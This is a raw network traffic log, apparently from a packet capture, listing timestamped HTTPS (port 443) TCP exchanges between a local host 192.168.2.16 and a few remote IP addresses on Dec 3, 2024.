Dec 3, 2024 09:05:58.734062910 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.734108925 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.734117031 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.739275932 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.739310026 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.739339113 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.739351034 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.739389896 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.747724056 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.756088018 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.756138086 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.756153107 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.762141943 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.762193918 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.762259960 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.762506008 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.762520075 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.779355049 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.811361074 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.828485012 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.875365019 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.875374079 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.913171053 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.913234949 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.913245916 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.922605038 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.922661066 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.922667027 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.930429935 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.930485010 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.930490971 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.931983948 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.937428951 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.937486887 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.937498093 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.938515902 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.938566923 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.938574076 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.945348978 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.945382118 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.945405006 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.945410967 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.945467949 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.946160078 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.946212053 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.946219921 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.953437090 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.954060078 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.954109907 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.954118013 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.961894989 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.961924076 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.961946964 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.961952925 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.961992025 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.961996078 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.962035894 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.962126017 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.962141991 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.962692976 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.962728977 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.962737083 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.964438915 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.964483023 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.964605093 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.964838028 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.964852095 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.969798088 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.969861031 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.969867945 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.976840019 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.976900101 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.976907015 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.990731001 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.990797997 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.990806103 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.997838020 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.997894049 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.997900009 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.997944117 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.997991085 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.997997046 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.998028994 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.998070002 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.998183012 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.998198032 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:59.681468964 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:59.681818008 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:59.681864023 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:59.682749987 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:59.682820082 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:59.683866024 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:59.683990955 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:59.730359077 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:59.730370998 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:59.778374910 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:00.018392086 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.018949032 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.018985033 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.019330025 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.019660950 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.019725084 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.019839048 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.063334942 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.260461092 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.260817051 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.260839939 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.261181116 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.261504889 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.261578083 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.261667013 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.303330898 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.467753887 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.467804909 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.467845917 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.467875004 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.467885971 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.467917919 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.467931032 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.478378057 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.478486061 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.478496075 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.486563921 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.486625910 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.486634016 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.528367043 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.528377056 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.576366901 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.588466883 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.592133999 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.592204094 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.592212915 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.639349937 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.669601917 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.673603058 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.673659086 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.673672915 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.687743902 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.687809944 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.687819004 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.695044994 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.695106030 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.695113897 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.703605890 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.703676939 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.703684092 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.710833073 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.710903883 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.710910082 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.712501049 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.712568045 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.712620974 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.713223934 CET	49742	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.713243008 CET	443	49742	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.715688944 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:00.715729952 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:00.715811014 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:00.716022968 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:00.716032982 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:00.718904018 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.718959093 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.718969107 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.726963997 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.727035046 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.727041960 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.733469009 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.733529091 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.733536005 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.740041971 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.740108013 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.740117073 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.753295898 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.753321886 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.753357887 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.753371954 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.753405094 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.759583950 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.815416098 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.815448046 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.862410069 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.880881071 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.882955074 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.883137941 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.883160114 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.887150049 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.887211084 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.887221098 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.895436049 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.895531893 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.895543098 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.895590067 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.903985977 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.903995037 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.904063940 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.904160023 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.904196978 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.912187099 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.912195921 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.912265062 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.920595884 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.920607090 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.920670033 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.924932003 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.924941063 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.925003052 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.933271885 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.933281898 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.933352947 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.941576958 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.941663980 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.946520090 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.946599960 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.954230070 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.954301119 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.962492943 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.962567091 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.966820002 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.966888905 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.977257967 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.977332115 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.977577925 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.977669001 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.977715015 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.977729082 CET	443	49741	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:00.977746964 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.977746964 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.977770090 CET	49741	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:00.980329037 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:00.980370998 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:00.980460882 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:00.980734110 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:00.980747938 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:01.123255014 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:01.123306990 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:01.123395920 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:01.123653889 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:01.123665094 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:01.972007036 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:01.972475052 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:01.972507954 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:01.972826004 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:01.973119020 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:01.973171949 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:01.973278999 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.019328117 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.283941984 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.284238100 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.284261942 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.284575939 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.284873962 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.284940004 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.285022974 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.331340075 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.384759903 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.385052919 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.385077000 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.385411978 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.385706902 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.385778904 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.385863066 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.385905981 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.385930061 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.423840046 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.423914909 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.423964024 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.424542904 CET	49743	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.424561977 CET	443	49743	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.746776104 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.746836901 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.746860027 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.746884108 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.746882915 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.746903896 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.746917009 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.754825115 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.754878044 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.754885912 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.762336969 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.762386084 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.762391090 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.771409988 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.771461964 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.771466970 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.823359013 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.867713928 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.891038895 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.891087055 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.891113997 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.891136885 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.891143084 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.891175985 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.891196966 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.893465042 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.893510103 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.893522024 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.898583889 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.898629904 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.898642063 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.907084942 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.907133102 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.907146931 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:02.918365002 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.918391943 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.949585915 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:02.959465981 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.959517956 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.959525108 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.967348099 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.967397928 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.967403889 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.970565081 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.970617056 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.970623016 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.986287117 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.986368895 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.986375093 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.994115114 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.994163036 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:02.994163036 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.994173050 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:02.994229078 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.002717018 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.009951115 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.010000944 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.010006905 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.011043072 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.017040014 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.017097950 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.017103910 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.025069952 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.025125980 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.025131941 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.031354904 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.031415939 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.031421900 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.038358927 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.038475990 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.038481951 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.061362982 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.091655970 CET	443	49745	104.18.95.41	192.168.2.16
